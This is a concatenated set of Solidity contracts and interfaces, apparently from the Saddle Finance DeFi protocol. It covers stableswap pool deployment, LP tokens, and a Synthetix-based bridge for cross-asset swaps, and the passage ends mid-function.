baseSwap.calculateTokenAmount( baseAmounts, deposit ); metaAmounts[baseLPTokenIndex] = baseLPTokenAmount; return metaSwap.calculateTokenAmount(metaAmounts, deposit); } /** * @notice A simple method to calculate amount of each underlying * tokens that is returned upon burning given amount of LP tokens * @param amount the amount of LP tokens that would be burned on withdrawal * @return array of token balances that the user will receive */ function calculateRemoveLiquidity(uint256 amount) external view returns (uint256[] memory) { uint256[] memory metaAmounts = metaSwap.calculateRemoveLiquidity( amount ); uint8 baseLPTokenIndex = uint8(metaAmounts.length - 1); uint256[] memory baseAmounts = baseSwap.calculateRemoveLiquidity( metaAmounts[baseLPTokenIndex] ); uint256[] memory totalAmounts = new uint256[]( baseLPTokenIndex + baseAmounts.length ); for (uint8 i = 0; i < baseLPTokenIndex; i++) { totalAmounts[i] = metaAmounts[i]; } for (uint8 i = 0; i < baseAmounts.length; i++) { totalAmounts[baseLPTokenIndex + i] = baseAmounts[i]; } return totalAmounts; } /** * @notice Calculate the amount of underlying token available to withdraw * when withdrawing via only single token * @param tokenAmount the amount of LP token to burn * @param tokenIndex index of which token will be withdrawn * @return availableTokenAmount calculated amount of underlying token * available to withdraw */ function calculateRemoveLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256) { uint8 baseLPTokenIndex = uint8(metaTokens.length - 1); if (tokenIndex < baseLPTokenIndex) { return metaSwap.calculateRemoveLiquidityOneToken( tokenAmount, tokenIndex ); } else { uint256 baseLPTokenAmount = metaSwap .calculateRemoveLiquidityOneToken( tokenAmount, baseLPTokenIndex ); return baseSwap.calculateRemoveLiquidityOneToken( baseLPTokenAmount, tokenIndex - baseLPTokenIndex ); } } /** * @notice Returns the address of the pooled token at given index. Reverts if tokenIndex is out of range. * This is a flattened representation of the pooled tokens. * @param index the index of the token * @return address of the token at given index */ function getToken(uint8 index) external view returns (IERC20) { require(index < tokens.length, "index out of range"); return tokens[index]; } /** * @notice Calculate amount of tokens you receive on swap * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell. If the token charges * a fee on transfers, use the amount that gets transferred after the fee. * @return amount of tokens the user will receive */ function calculateSwap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256) { return metaSwap.calculateSwapUnderlying(tokenIndexFrom, tokenIndexTo, dx); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./ISwap.sol"; interface IMetaSwap { // pool data view functions function getA() external view returns (uint256); function getToken(uint8 index) external view returns (IERC20); function getTokenIndex(address tokenAddress) external view returns (uint8); function getTokenBalance(uint8 index) external view returns (uint256); function getVirtualPrice() external view returns (uint256); function isGuarded() external view returns (bool); // min return calculation functions function calculateSwap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256); function calculateSwapUnderlying( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256); function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view returns (uint256); function calculateRemoveLiquidity(uint256 amount) external view returns (uint256[] memory); function calculateRemoveLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256 availableTokenAmount); // state modifying functions function initialize( IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, address lpTokenTargetAddress ) external; function initializeMetaSwap( IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, address lpTokenTargetAddress, ISwap baseSwap ) external; function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external returns (uint256); function swapUnderlying( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external returns (uint256); function addLiquidity( uint256[] calldata amounts, uint256 minToMint, uint256 deadline ) external returns (uint256); function removeLiquidity( uint256 amount, uint256[] calldata minAmounts, uint256 deadline ) external returns (uint256[] memory); function removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline ) external returns (uint256); function removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline ) external returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/proxy/Clones.sol"; import "./interfaces/ISwap.sol"; import "./interfaces/IMetaSwap.sol"; contract SwapDeployer is Ownable { event NewSwapPool( address indexed deployer, address swapAddress, IERC20[] pooledTokens ); event NewClone(address indexed target, address cloneAddress); constructor() public Ownable() {} function clone(address target) external returns (address) { address newClone = _clone(target); emit NewClone(target, newClone); return newClone; } function _clone(address target) internal returns (address) { return Clones.clone(target); } function deploy( address swapAddress, IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, address lpTokenTargetAddress ) external returns (address) { address swapClone = _clone(swapAddress); ISwap(swapClone).initialize( _pooledTokens, decimals, lpTokenName, lpTokenSymbol, _a, _fee, _adminFee, lpTokenTargetAddress ); Ownable(swapClone).transferOwnership(owner()); emit NewSwapPool(msg.sender, swapClone, _pooledTokens); return swapClone; } function deployMetaSwap( address metaSwapAddress, IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, address lpTokenTargetAddress, ISwap baseSwap ) external returns (address) { address metaSwapClone = _clone(metaSwapAddress); IMetaSwap(metaSwapClone).initializeMetaSwap( _pooledTokens, decimals, lpTokenName, lpTokenSymbol, _a, _fee, _adminFee, lpTokenTargetAddress, baseSwap ); Ownable(metaSwapClone).transferOwnership(owner()); emit NewSwapPool(msg.sender, metaSwapClone, _pooledTokens); return metaSwapClone; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "synthetix/contracts/interfaces/ISynthetix.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "../interfaces/ISwap.sol"; /** * @title SynthSwapper * @notice Replacement of Virtual Synths in favor of gas savings. Allows swapping synths via the Synthetix protocol * or Saddle's pools. The `Bridge.sol` contract will deploy minimal clones of this contract upon initiating * any cross-asset swaps. */ contract SynthSwapper is Initializable { using SafeERC20 for IERC20; address payable owner; // SYNTHETIX points to `ProxyERC20` (0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F). // This contract is a proxy of `Synthetix` and is used to exchange synths. ISynthetix public constant SYNTHETIX = ISynthetix(0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F); // "SADDLE" in bytes32 form bytes32 public constant TRACKING = 0x534144444c450000000000000000000000000000000000000000000000000000; /** * @notice Initializes the contract when deploying this directly. This prevents * others from calling initialize() on the target contract and setting themself as the owner. */ constructor() public { initialize(); } /** * @notice This modifier checks if the caller is the owner */ modifier onlyOwner() { require(msg.sender == owner, "is not owner"); _; } /** * @notice Sets the `owner` as the caller of this function */ function initialize() public initializer { require(owner == address(0), "owner already set"); owner = msg.sender; } /** * @notice Swaps the synth to another synth via the Synthetix protocol. * @param sourceKey currency key of the source synth * @param synthAmount amount of the synth to swap * @param destKey currency key of the destination synth * @return amount of the destination synth received */ function swapSynth( bytes32 sourceKey, uint256 synthAmount, bytes32 destKey ) external onlyOwner returns (uint256) { return SYNTHETIX.exchangeWithTracking( sourceKey, synthAmount, destKey, msg.sender, TRACKING ); } /** * @notice Approves the given `tokenFrom` and swaps it to another token via the given `swap` pool. * @param swap the address of a pool to swap through * @param tokenFrom the address of the stored synth * @param tokenFromIndex the index of the token to swap from * @param tokenToIndex the token the user wants to swap to * @param tokenFromAmount the amount of the token to swap * @param minAmount the min amount the user would like to receive, or revert. * @param deadline latest timestamp to accept this transaction * @param recipient the address of the recipient */ function swapSynthToToken( ISwap swap, IERC20 tokenFrom, uint8 tokenFromIndex, uint8 tokenToIndex, uint256 tokenFromAmount, uint256 minAmount, uint256 deadline, address recipient ) external onlyOwner returns (IERC20, uint256) { tokenFrom.approve(address(swap), tokenFromAmount); swap.swap( tokenFromIndex, tokenToIndex, tokenFromAmount, minAmount, deadline ); IERC20 tokenTo = swap.getToken(tokenToIndex); uint256 balance = tokenTo.balanceOf(address(this)); tokenTo.safeTransfer(recipient, balance); return (tokenTo, balance); } /** * @notice Withdraws the given amount of `token` to the `recipient`. * @param token the address of the token to withdraw * @param recipient the address of the account to receive the token * @param withdrawAmount the amount of the token to withdraw * @param shouldDestroy whether this contract should be destroyed after this call */ function withdraw( IERC20 token, address recipient, uint256 withdrawAmount, bool shouldDestroy ) external onlyOwner { token.safeTransfer(recipient, withdrawAmount); if (shouldDestroy) { _destroy(); } } /** * @notice Destroys this contract. Only owner can call this function. */ function destroy() external onlyOwner { _destroy(); } function _destroy() internal { selfdestruct(msg.sender); } } pragma solidity >=0.4.24; import "./ISynth.sol"; import "./IVirtualSynth.sol"; // https://docs.synthetix.io/contracts/source/interfaces/isynthetix interface ISynthetix { // Views function anySynthOrSNXRateIsInvalid() external view returns (bool anyRateInvalid); function availableCurrencyKeys() external view returns (bytes32[] memory); function availableSynthCount() external view returns (uint); function availableSynths(uint index) external view returns (ISynth); function collateral(address account) external view returns (uint); function collateralisationRatio(address issuer) external view returns (uint); function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint); function isWaitingPeriod(bytes32 currencyKey) external view returns (bool); function maxIssuableSynths(address issuer) external view returns (uint maxIssuable); function remainingIssuableSynths(address issuer) external view returns ( uint maxIssuable, uint alreadyIssued, uint totalSystemDebt ); function synths(bytes32 currencyKey) external view returns (ISynth); function synthsByAddress(address synthAddress) external view returns (bytes32); function totalIssuedSynths(bytes32 currencyKey) external view returns (uint); function totalIssuedSynthsExcludeEtherCollateral(bytes32 currencyKey) external view returns (uint); function transferableSynthetix(address account) external view returns (uint transferable); // Mutative Functions function burnSynths(uint amount) external; function burnSynthsOnBehalf(address burnForAddress, uint amount) external; function burnSynthsToTarget() external; function burnSynthsToTargetOnBehalf(address burnForAddress) external; function exchange( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external returns (uint amountReceived); function exchangeOnBehalf( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external returns (uint amountReceived); function exchangeWithTracking( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeOnBehalfWithTracking( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeWithVirtual( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, bytes32 trackingCode ) external returns (uint amountReceived, IVirtualSynth vSynth); function issueMaxSynths() external; function issueMaxSynthsOnBehalf(address issueForAddress) external; function issueSynths(uint amount) external; function issueSynthsOnBehalf(address issueForAddress, uint amount) external; function mint() external returns (bool); function settle(bytes32 currencyKey) external returns ( uint reclaimed, uint refunded, uint numEntries ); // Liquidations function liquidateDelinquentAccount(address account, uint susdAmount) external returns (bool); // Restricted Functions function mintSecondary(address account, uint amount) external; function mintSecondaryRewards(uint amount) external; function burnSecondary(address account, uint amount) external; } pragma solidity >=0.4.24; // https://docs.synthetix.io/contracts/source/interfaces/isynth interface ISynth { // Views function currencyKey() external view returns (bytes32); function transferableSynths(address account) external view returns (uint); // Mutative functions function transferAndSettle(address to, uint value) external returns (bool); function transferFromAndSettle( address from, address to, uint value ) external returns (bool); // Restricted: used internally to Synthetix function burn(address account, uint amount) external; function issue(address account, uint amount) external; } pragma solidity >=0.4.24; import "./ISynth.sol"; interface IVirtualSynth { // Views function balanceOfUnderlying(address account) external view returns (uint); function rate() external view returns (uint); function readyToSettle() external view returns (bool); function secsLeftInWaitingPeriod() external view returns (uint); function settled() external view returns (bool); function synth() external view returns (ISynth); // Mutative functions function settle(address account) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20BurnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "./interfaces/ISwapV1.sol"; /** * @title Liquidity Provider Token * @notice This token is an ERC20 detailed token with added capability to be minted by the owner. * It is used to represent user's shares when providing liquidity to swap contracts. * @dev Only Swap contracts should initialize and own LPToken contracts. */ contract LPTokenV1 is ERC20BurnableUpgradeable, OwnableUpgradeable { using SafeMathUpgradeable for uint256; /** * @notice Initializes this LPToken contract with the given name and symbol * @dev The caller of this function will become the owner. A Swap contract should call this * in its initializer function. * @param name name of this token * @param symbol symbol of this token */ function initialize(string memory name, string memory symbol) external initializer returns (bool) { __Context_init_unchained(); __ERC20_init_unchained(name, symbol); __Ownable_init_unchained(); return true; } /** * @notice Mints the given amount of LPToken to the recipient. * @dev only owner can call this mint function * @param recipient address of account to receive the tokens * @param amount amount of tokens to mint */ function mint(address recipient, uint256 amount) external onlyOwner { require(amount != 0, "LPToken: cannot mint 0"); _mint(recipient, amount); } /** * @dev Overrides ERC20._beforeTokenTransfer() which get called on every transfers including * minting and burning. This ensures that Swap.updateUserWithdrawFees are called everytime. * This assumes the owner is set to a Swap contract's address. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override(ERC20Upgradeable) { super._beforeTokenTransfer(from, to, amount); require(to != address(this), "LPToken: cannot send to itself"); ISwapV1(owner()).updateUserWithdrawFee(to, amount); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./IAllowlist.sol"; interface ISwapV1 { // pool data view functions function getA() external view returns (uint256); function getAllowlist() external view returns (IAllowlist); function getToken(uint8 index) external view returns (IERC20); function getTokenIndex(address tokenAddress) external view returns (uint8); function getTokenBalance(uint8 index) external view returns (uint256); function getVirtualPrice() external view returns (uint256); function isGuarded() external view returns (bool); // min return calculation functions function calculateSwap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256); function calculateTokenAmount( address account, uint256[] calldata amounts, bool deposit ) external view returns (uint256); function calculateRemoveLiquidity(address account, uint256 amount) external view returns (uint256[] memory); function calculateRemoveLiquidityOneToken( address account, uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256 availableTokenAmount); // state modifying functions function initialize( IERC20[] memory pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 a, uint256 fee, uint256 adminFee, uint256 withdrawFee, address lpTokenTargetAddress ) external; function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external returns (uint256); function addLiquidity( uint256[] calldata amounts, uint256 minToMint, uint256 deadline ) external returns (uint256); function removeLiquidity( uint256 amount, uint256[] calldata minAmounts, uint256 deadline ) external returns (uint256[] memory); function removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline ) external returns (uint256); function removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline ) external returns (uint256); // withdraw fee update function function updateUserWithdrawFee(address recipient, uint256 transferAmount) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/proxy/Clones.sol"; import "./interfaces/ISwapV1.sol"; contract SwapDeployerV1 is Ownable { event NewSwapPool( address indexed deployer, address swapAddress, IERC20[] pooledTokens ); constructor() public Ownable() {} function deploy( address swapAddress, IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, uint256 _withdrawFee, address lpTokenTargetAddress ) external returns (address) { address swapClone = Clones.clone(swapAddress); ISwapV1(swapClone).initialize( _pooledTokens, decimals, lpTokenName, lpTokenSymbol, _a, _fee, _adminFee, _withdrawFee, lpTokenTargetAddress ); Ownable(swapClone).transferOwnership(owner()); emit NewSwapPool(msg.sender, swapClone, _pooledTokens); return swapClone; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/proxy/Clones.sol"; import "synthetix/contracts/interfaces/IAddressResolver.sol"; import "synthetix/contracts/interfaces/IExchanger.sol"; import "synthetix/contracts/interfaces/IExchangeRates.sol"; import "../interfaces/ISwap.sol"; import "./SynthSwapper.sol"; contract Proxy { address public target; } contract Target { address public proxy; } /** * @title Bridge * @notice This contract is responsible for cross-asset swaps using the Synthetix protocol as the bridging exchange. * There are three types of supported cross-asset swaps, tokenToSynth, synthToToken, and tokenToToken. * * 1) tokenToSynth * Swaps a supported token in a saddle pool to any synthetic asset (e.g. tBTC -> sAAVE). * * 2) synthToToken * Swaps any synthetic asset to a suported token in a saddle pool (e.g. sDEFI -> USDC). * * 3) tokenToToken * Swaps a supported token in a saddle pool to one in another pool (e.g. renBTC -> DAI). * * Due to the settlement periods of synthetic assets, the users must wait until the trades can be completed. * Users will receive an ERC721 token that represents pending cross-asset swap. Once the waiting period is over, * the trades can be settled and completed by calling the `completeToSynth` or the `completeToToken` function. * In the cases of pending `synthToToken` or `tokenToToken` swaps, the owners of the pending swaps can also choose * to withdraw the bridging synthetic assets instead of completing the swap. */ contract Bridge is ERC721 { using SafeMath for uint256; using SafeERC20 for IERC20; event SynthIndex( address indexed swap, uint8 synthIndex, bytes32 currencyKey, address synthAddress ); event TokenToSynth( address indexed requester, uint256 indexed itemId, ISwap swapPool, uint8 tokenFromIndex, uint256 tokenFromInAmount, bytes32 synthToKey ); event SynthToToken( address indexed requester, uint256 indexed itemId, ISwap swapPool, bytes32 synthFromKey, uint256 synthFromInAmount, uint8 tokenToIndex ); event TokenToToken( address indexed requester, uint256 indexed itemId, ISwap[2] swapPools, uint8 tokenFromIndex, uint256 tokenFromAmount, uint8 tokenToIndex ); event Settle( address indexed requester, uint256 indexed itemId, IERC20 settleFrom, uint256 settleFromAmount, IERC20 settleTo, uint256 settleToAmount, bool isFinal ); event Withdraw( address indexed requester, uint256 indexed itemId, IERC20 synth, uint256 synthAmount, bool isFinal ); // The addresses for all Synthetix contracts can be found in the below URL. // https://docs.synthetix.io/addresses/#mainnet-contracts // // Since the Synthetix protocol is upgradable, we must use the proxy pairs of each contract such that // the composability is not broken after the protocol upgrade. // // SYNTHETIX_RESOLVER points to `ReadProxyAddressResolver` (0x4E3b31eB0E5CB73641EE1E65E7dCEFe520bA3ef2). // This contract is a read proxy of `AddressResolver` which is responsible for storing the addresses of the contracts // used by the Synthetix protocol. IAddressResolver public constant SYNTHETIX_RESOLVER = IAddressResolver(0x4E3b31eB0E5CB73641EE1E65E7dCEFe520bA3ef2); // EXCHANGER points to `Exchanger`. There is no proxy pair for this contract so we need to update this variable // when the protocol is upgraded. This contract is used to settle synths held by SynthSwapper. IExchanger public exchanger; // CONSTANTS // Available types of cross-asset swaps enum PendingSwapType { Null, TokenToSynth, SynthToToken, TokenToToken } uint256 public constant MAX_UINT256 = 2**256 - 1; uint8 public constant MAX_UINT8 = 2**8 - 1; bytes32 public constant EXCHANGE_RATES_NAME = "ExchangeRates"; bytes32 public constant EXCHANGER_NAME = "Exchanger"; address public immutable SYNTH_SWAPPER_MASTER; // MAPPINGS FOR STORING PENDING SETTLEMENTS // The below two mappings never share the same key. mapping(uint256 => PendingToSynthSwap) public pendingToSynthSwaps; mapping(uint256 => PendingToTokenSwap) public pendingToTokenSwaps; uint256 public pendingSwapsLength; mapping(uint256 => PendingSwapType) private pendingSwapType; // MAPPINGS FOR STORING SYNTH INFO mapping(address => SwapContractInfo) private swapContracts; // Structs holding information about pending settlements struct PendingToSynthSwap { SynthSwapper swapper; bytes32 synthKey; } struct PendingToTokenSwap { SynthSwapper swapper; bytes32 synthKey; ISwap swap; uint8 tokenToIndex; } struct SwapContractInfo { // index of the supported synth + 1 uint8 synthIndexPlusOne; // address of the supported synth address synthAddress; // bytes32 key of the supported synth bytes32 synthKey; // array of tokens supported by the contract IERC20[] tokens; } /** * @notice Deploys this contract and initializes the master version of the SynthSwapper contract. The address to * the Synthetix protocol's Exchanger contract is also set on deployment. */ constructor(address synthSwapperAddress) public ERC721("Saddle Cross-Asset Swap", "SaddleSynthSwap") { SYNTH_SWAPPER_MASTER = synthSwapperAddress; updateExchangerCache(); } /** * @notice Returns the address of the proxy contract targeting the synthetic asset with the given `synthKey`. * @param synthKey the currency key of the synth * @return address of the proxy contract */ function getProxyAddressFromTargetSynthKey(bytes32 synthKey) public view returns (IERC20) { return IERC20(Target(SYNTHETIX_RESOLVER.getSynth(synthKey)).proxy()); } /** * @notice Returns various information of a pending swap represented by the given `itemId`. Information includes * the type of the pending swap, the number of seconds left until it can be settled, the address and the balance * of the synth this swap currently holds, and the address of the destination token. * @param itemId ID of the pending swap * @return swapType the type of the pending virtual swap, * secsLeft number of seconds left until this swap can be settled, * synth address of the synth this swap uses, * synthBalance amount of the synth this swap holds, * tokenTo the address of the destination token */ function getPendingSwapInfo(uint256 itemId) external view returns ( PendingSwapType swapType, uint256 secsLeft, address synth, uint256 synthBalance, address tokenTo ) { swapType = pendingSwapType[itemId]; require(swapType != PendingSwapType.Null, "invalid itemId"); SynthSwapper synthSwapper; bytes32 synthKey; if (swapType == PendingSwapType.TokenToSynth) { synthSwapper = pendingToSynthSwaps[itemId].swapper; synthKey = pendingToSynthSwaps[itemId].synthKey; synth = address(getProxyAddressFromTargetSynthKey(synthKey)); tokenTo = synth; } else { PendingToTokenSwap memory pendingToTokenSwap = pendingToTokenSwaps[ itemId ]; synthSwapper = pendingToTokenSwap.swapper; synthKey = pendingToTokenSwap.synthKey; synth = address(getProxyAddressFromTargetSynthKey(synthKey)); tokenTo = address( swapContracts[address(pendingToTokenSwap.swap)].tokens[ pendingToTokenSwap.tokenToIndex ] ); } secsLeft = exchanger.maxSecsLeftInWaitingPeriod( address(synthSwapper), synthKey ); synthBalance = IERC20(synth).balanceOf(address(synthSwapper)); } // Settles the synth only. function _settle(address synthOwner, bytes32 synthKey) internal { // Settle synth exchanger.settle(synthOwner, synthKey); } /** * @notice Settles and withdraws the synthetic asset without swapping it to a token in a Saddle pool. Only the owner * of the ERC721 token of `itemId` can call this function. Reverts if the given `itemId` does not represent a * `synthToToken` or a `tokenToToken` swap. * @param itemId ID of the pending swap * @param amount the amount of the synth to withdraw */ function withdraw(uint256 itemId, uint256 amount) external { address nftOwner = ownerOf(itemId); require(nftOwner == msg.sender, "not owner"); require( pendingSwapType[itemId] > PendingSwapType.TokenToSynth, "invalid itemId" ); PendingToTokenSwap memory pendingToTokenSwap = pendingToTokenSwaps[ itemId ]; _settle( address(pendingToTokenSwap.swapper), pendingToTokenSwap.synthKey ); IERC20 synth = getProxyAddressFromTargetSynthKey( pendingToTokenSwap.synthKey ); bool shouldDestroy; if (amount >= synth.balanceOf(address(pendingToTokenSwap.swapper))) { _burn(itemId); delete pendingToTokenSwaps[itemId]; delete pendingSwapType[itemId]; shouldDestroy = true; } pendingToTokenSwap.swapper.withdraw( synth, nftOwner, amount, shouldDestroy ); emit Withdraw(msg.sender, itemId, synth, amount, shouldDestroy); } /** * @notice Completes the pending `tokenToSynth` swap by settling and withdrawing the synthetic asset. * Reverts if the given `itemId` does not represent a `tokenToSynth` swap. * @param itemId ERC721 token ID representing a pending `tokenToSynth` swap */ function completeToSynth(uint256 itemId) external { address nftOwner = ownerOf(itemId); require(nftOwner == msg.sender, "not owner"); require( pendingSwapType[itemId] == PendingSwapType.TokenToSynth, "invalid itemId" ); PendingToSynthSwap memory pendingToSynthSwap = pendingToSynthSwaps[ itemId ]; _settle( address(pendingToSynthSwap.swapper), pendingToSynthSwap.synthKey ); IERC20 synth = getProxyAddressFromTargetSynthKey( pendingToSynthSwap.synthKey ); // Burn the corresponding ERC721 token and delete storage for gas _burn(itemId); delete pendingToTokenSwaps[itemId]; delete pendingSwapType[itemId]; // After settlement, withdraw the synth and send it to the recipient uint256 synthBalance = synth.balanceOf( address(pendingToSynthSwap.swapper) ); pendingToSynthSwap.swapper.withdraw( synth, nftOwner, synthBalance, true ); emit Settle( msg.sender, itemId, synth, synthBalance, synth, synthBalance, true ); } /** * @notice Calculates the expected amount of the token to receive on calling `completeToToken()` with * the given `swapAmount`. * @param itemId ERC721 token ID representing a pending `SynthToToken` or `TokenToToken` swap * @param swapAmount the amount of bridging synth to swap from * @return expected amount of the token the user will receive */ function calcCompleteToToken(uint256 itemId, uint256 swapAmount) external view returns (uint256) { require( pendingSwapType[itemId] > PendingSwapType.TokenToSynth, "invalid itemId" ); PendingToTokenSwap memory pendingToTokenSwap = pendingToTokenSwaps[ itemId ]; return pendingToTokenSwap.swap.calculateSwap( getSynthIndex(pendingToTokenSwap.swap), pendingToTokenSwap.tokenToIndex, swapAmount ); } /** * @notice Completes the pending `SynthToToken` or `TokenToToken` swap by settling the bridging synth and swapping * it to the desired token. Only the owners of the pending swaps can call this function. * @param itemId ERC721 token ID representing a pending `SynthToToken` or `TokenToToken` swap * @param swapAmount the amount of bridging synth to swap from * @param minAmount the minimum amount of the token to receive - reverts if this amount is not reached * @param deadline the timestamp representing the deadline for this transaction - reverts if deadline is not met */ function completeToToken( uint256 itemId, uint256 swapAmount, uint256 minAmount, uint256 deadline ) external { require(swapAmount != 0, "amount must be greater than 0"); address nftOwner = ownerOf(itemId); require(msg.sender == nftOwner, "must own itemId"); require( pendingSwapType[itemId] > PendingSwapType.TokenToSynth, "invalid itemId" ); PendingToTokenSwap memory pendingToTokenSwap = pendingToTokenSwaps[ itemId ]; _settle( address(pendingToTokenSwap.swapper), pendingToTokenSwap.synthKey ); IERC20 synth = getProxyAddressFromTargetSynthKey( pendingToTokenSwap.synthKey ); bool shouldDestroyClone; if ( swapAmount >= synth.balanceOf(address(pendingToTokenSwap.swapper)) ) { _burn(itemId); delete pendingToTokenSwaps[itemId]; delete pendingSwapType[itemId]; shouldDestroyClone = true; } // Try swapping the synth to the desired token via the stored swap pool contract // If the external call succeeds, send the token to the owner of token with itemId. (IERC20 tokenTo, uint256 amountOut) = pendingToTokenSwap .swapper .swapSynthToToken( pendingToTokenSwap.swap, synth, getSynthIndex(pendingToTokenSwap.swap), pendingToTokenSwap.tokenToIndex, swapAmount, minAmount, deadline, nftOwner ); if (shouldDestroyClone) { pendingToTokenSwap.swapper.destroy(); } emit Settle( msg.sender, itemId, synth, swapAmount, tokenTo, amountOut, shouldDestroyClone ); } // Add the given pending synth settlement struct to the list function _addToPendingSynthSwapList( PendingToSynthSwap memory pendingToSynthSwap ) internal returns (uint256) { require( pendingSwapsLength < MAX_UINT256, "pendingSwapsLength reached max size" ); pendingToSynthSwaps[pendingSwapsLength] = pendingToSynthSwap; return pendingSwapsLength++; } // Add the given pending synth to token settlement struct to the list function _addToPendingSynthToTokenSwapList( PendingToTokenSwap memory pendingToTokenSwap ) internal returns (uint256) { require( pendingSwapsLength < MAX_UINT256, "pendingSwapsLength reached max size" ); pendingToTokenSwaps[pendingSwapsLength] = pendingToTokenSwap; return pendingSwapsLength++; } /** * @notice Calculates the expected amount of the desired synthetic asset the caller will receive after completing * a `TokenToSynth` swap with the given parameters. This calculation does not consider the settlement periods. * @param swap the address of a Saddle pool to use to swap the given token to a bridging synth * @param tokenFromIndex the index of the token to swap from * @param synthOutKey the currency key of the desired synthetic asset * @param tokenInAmount the amount of the token to swap form * @return the expected amount of the desired synth */ function calcTokenToSynth( ISwap swap, uint8 tokenFromIndex, bytes32 synthOutKey, uint256 tokenInAmount ) external view returns (uint256) { uint8 mediumSynthIndex = getSynthIndex(swap); uint256 expectedMediumSynthAmount = swap.calculateSwap( tokenFromIndex, mediumSynthIndex, tokenInAmount ); bytes32 mediumSynthKey = getSynthKey(swap); IExchangeRates exchangeRates = IExchangeRates( SYNTHETIX_RESOLVER.getAddress(EXCHANGE_RATES_NAME) ); return 